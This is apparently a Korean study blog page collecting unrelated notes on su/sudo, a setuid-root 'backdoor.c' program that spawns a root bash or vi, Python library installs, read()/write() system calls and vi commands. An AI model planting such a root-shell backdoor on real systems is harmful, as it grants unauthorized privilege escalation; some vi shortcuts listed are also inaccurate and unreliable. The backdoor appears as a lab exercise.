반응형

su

root 사용자로 변경한다

 

sudo -i 

su명령어처럼 root 계정으로 전환한다

 

sudo -s

위와같이 root 계정으로 전환하나, 현재 디렉토리를 유지한다

 

su {username}

다른 유저로 변환한다.

 

su - {username}

사용자를 변경하면서 환경변수까지 같이 적용한다.

 

 

su 명령어로 root계정으로 바꾼 후 진행

exit

명령어로 root계정에서 나옴

backdoor.c

#include <stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/bash");
}

vibackdoor.c

#include <stdio.h>

main(){
setuid(0);
setgid(0);
system("/usr/bin/vi");
}

왜 root로 안 바뀌냐

반응형
반응형

desktop : pycharm

web : google colab

python libraries :

pip install scikit-image
pip install Pillow
pip install opencv-python
pip install numpy
pip install matplotlib

pycharm의 terminal에 명령어 입력하여 라이브러리 설치 완료!

google colab은 명령어 앞에 !를 붙여서 명령어 실행하면 설치 완료!

이미지가 팝업된다.

반응형

'강의 > 멀티미디어처리' 카테고리의 다른 글

멀티미디어처리기술 9,10주차  (0) 2022.05.06
반응형
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t len);


fd : 파일 디스크립터
*buf : len 수만큼 읽어들인 바이트 (내용)
len : 읽을 수 있는 바이트 수
반환 값 : nr, 읽은 바이트 숫자, 오류 발생시 -1

ssize_t write(int fd, const void *buf, size_t count);


파일에 데이터를 기록하기 위해 사용하는 가장 기본적, 일반적인 시스템 콜
fd : 파일 디스크립터 , fd 객체에 탐색 기능이 없으면 쓰기 작업은 처음 위치에서 시작
*buf : count 바이크 만큼, fd가 참조하는 파일의 현재 파일 위치의 시작점이 buf인 내용을 기록
count : 쓰려고 하는 글자 수
반환 값 : nr, 읽은 바이트 숫자, 오류 발생 시 -1 , 0의 반환은 0개 만큼 읽었다
오프셋 : 쓰기 성공한 만큼의 바이트 수 만큼 오프셋 전진

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=hanbulkr&logNo=221439852374

 

read()로 읽고 write()로 쓰기

#시스템프로그래밍 read()함수 사용하기 fd = 파일 디스크립터 *buf = len수만큼 읽어들인 바...

blog.naver.com

 

반응형
반응형

종료 및 저장 명령어

  • :w 저장
  • :q 아무 수정작업하지 않거나, 이전에 :w로 저장한 경우 종료
  • :wq  저장 후 종료
  • :q!  저장 하지 않고 종료

 

명령모드에서 보이지 않는 라인 넘버를 출력

:set number

찾고자 하는 문자열로 커서 이동 패턴 검색, 대소문자 구분, 명령모드에서 작동

  • /[문자]

 

 

삭제 (d : delete의 약자)

  • dd : 한 줄 삭제
  • dd5 : 다섯 줄 삭제
  • dw : 한 단어 삭제
  • d5w : 다섯 단어 삭제
  • d$ : 커서부터 이줄 끝까지 삭제
  • d0 : 커서부터 이줄 앞까지 삭제
  • dG : 커서부터 문서 끝까지 삭제

복사 (y: yank의 약자)

  • yy : 한 줄 복사
  • yy5 : 다섯 줄 복사
  • yw : 단어 복사
  • y5w : 다섯 단어 복사
  • y$ : 커서부터 이줄 끝까지 복사
  • y0 : 커서부터 이줄 앞까지 복사
  • yG : 커서부터 문서 끝까지 복사

붙여넣기 

  • p : 커서 앞으로 붙여넣기
  • P : 커서 뒤로 붙여넣기
  • u : undo 되돌리기
  • x :  커서 안의 문자 하나 삭제
  • X : 커서 뒤의 문자 하나 삭제  (delete키 처럼 작동)

그 외

  • i : insert, 입력모드 
  • a : append, 커서 한 칸 앞에서 입력모드
  • o : 한 줄을 아래에 추가하며 입력모드
  • O : 한 줄을 위에 추가하며 입력모드
  • b : back, 한 단어 뒤로 이동
  • w :  forward, 한 단어 앞으로 이동

커서 이동

  • h : 한 칸 뒤로 이동
  • j : 한 줄 아래로 이동
  • k :  한 줄 위로 이동
  • l : 한 칸 앞으로 이동
  • H : 화면 맨 위로 이동
  • M : 화면 중간으로 이동
  • L : 화면 맨 아래로 이동
  • G : 글의 맨 밑으로 이동
  • 1G : 글의 맨 처음으로 이동

외부 unix 커맨드  :!![명령어]

  • :!!date  - 현재 시간 불러옴

 

반응형

+ Recent posts